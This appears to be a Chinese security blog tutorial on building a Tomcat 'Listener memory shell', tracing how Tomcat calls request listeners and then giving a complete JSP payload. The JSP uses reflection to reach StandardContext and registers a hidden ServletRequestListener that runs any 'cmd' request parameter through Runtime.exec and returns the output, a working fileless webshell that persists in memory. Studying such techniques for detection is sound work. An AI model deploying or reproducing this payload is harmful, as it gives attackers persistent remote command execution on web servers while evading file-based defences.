Listener 内存马

0x01 项目搭建

Servlet 规范中定义了 8 个监听器接口,其中最适合用来做内存马的是ServletRequestListener,它被用于监听 ServletRequest 对象的创建和销毁过程,在每次访问的时候都会被调用。

Servlet Listener(监听器) (biancheng.net)

memoryListener

package com.yulate.tomcatmemory.listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class memoryListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        ServletRequestListener.super.requestDestroyed(sre);
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
//        ServletRequestListener.super.requestInitialized(sre);
        System.out.println("lister");
    }
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <listener>
        <listener-class>com.yulate.tomcatmemory.listener.memoryListener</listener-class>
    </listener>
</web-app>

0x02 流程分析

requestInitialized方法中打上断点

file

进行访问之后的调用栈如下

requestInitialized:24, memoryListener (com.yulate.tomcatmemory.listener)
fireRequestInitEvent:5901, StandardContext (org.apache.catalina.core)
invoke:125, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:373, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:868, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1590, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)

我们直接从StandardHostValve#invoke()方法开始看起

file

调用StandardContext#fireRequestInitEvent()方法,其中传入的参数为request

fireRequestInitEvent方法中通过getApplicationEventListeners方法直接获取出全部的listener,如何再进行遍历调用listerner中的requestInitialized方法。

file

0x03 内存马实现分析

相对于filter内存马listener内存马要简单的很多,没有filter调用链这种东西

在上述流程分析中提到getApplicationEventListeners方法能够获取到全部的listerner

file

该变量就是储存listerner的变量

file

向其中添加数据的方法有如下两个

    /**
     * Add a listener to the end of the list of initialized application event
     * listeners.
     *
     * @param listener The listener to add
     */
    public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }

    /**
     * {@inheritDoc}
     *
     * Note that this implementation is not thread safe. If two threads call
     * this method concurrently, the result may be either set of listeners or a
     * the union of both.
     */
    @Override
    public void setApplicationEventListeners(Object listeners[]) {
        applicationEventListenersList.clear();
        if (listeners != null && listeners.length > 0) {
            applicationEventListenersList.addAll(Arrays.asList(listeners));
        }
    }

0x04 正式实现

获取context

可以参考StandardHostValve#invoke()方法中使用的办法。

file

在jsp中也可以参考直接获取content

<%
    System.out.println(request);
    try {
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request req = (Request) requestField.get(request);

        Context context = req.getContext();
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
%>

创建恶意listener

创建实现至ServletRequestListener接口的listener

class EvalListener implements ServletRequestListener {
            @Override
            public void requestDestroyed(ServletRequestEvent sre) {
                ServletRequestListener.super.requestDestroyed(sre);
            }

            @Override
            public void requestInitialized(ServletRequestEvent sre) {
                try {
                    HttpServletRequest httpServletRequest = (HttpServletRequest) sre.getServletRequest();
                    PrintWriter pw = response.getWriter();
                    String cmd = httpServletRequest.getParameter("cmd");
                    System.out.println(cmd);
                    if (cmd != null) {
                        Process process = Runtime.getRuntime().exec(cmd);
                        InputStream input = process.getInputStream();
                        BufferedReader br = new BufferedReader(new InputStreamReader(input));
                        String line = null;
                        while ((line = br.readLine()) != null) {
                            pw.write(line);
                        }
                        br.close();
                        input.close();
                        pw.write("\n");
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

插入listener

使用上述分析出的addApplicationEventListener方法插入恶意listener

        EvalListener evalListener = new EvalListener();
        context.addApplicationEventListener(evalListener);

JSP 内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%--
  Created by IntelliJ IDEA.
  User: yulate
  Date: 4/12/2023
  Time: 4:19 PM
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    System.out.println(request);
    try {
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request req = (Request) requestField.get(request);

        StandardContext context = (StandardContext) req.getContext();

        class EvalListener implements ServletRequestListener {
            @Override
            public void requestDestroyed(ServletRequestEvent sre) {
                ServletRequestListener.super.requestDestroyed(sre);
            }

            @Override
            public void requestInitialized(ServletRequestEvent sre) {
                try {
                    HttpServletRequest httpServletRequest = (HttpServletRequest) sre.getServletRequest();
                    PrintWriter pw = response.getWriter();
                    String cmd = httpServletRequest.getParameter("cmd");
                    System.out.println(cmd);
                    if (cmd != null) {
                        Process process = Runtime.getRuntime().exec(cmd);
                        InputStream input = process.getInputStream();
                        BufferedReader br = new BufferedReader(new InputStreamReader(input));
                        String line = null;
                        while ((line = br.readLine()) != null) {
                            pw.write(line);
                        }
                        br.close();
                        input.close();
                        pw.write("\n");
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

        EvalListener evalListener = new EvalListener();
        context.addApplicationEventListener(evalListener);

        out.println("inject success");
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇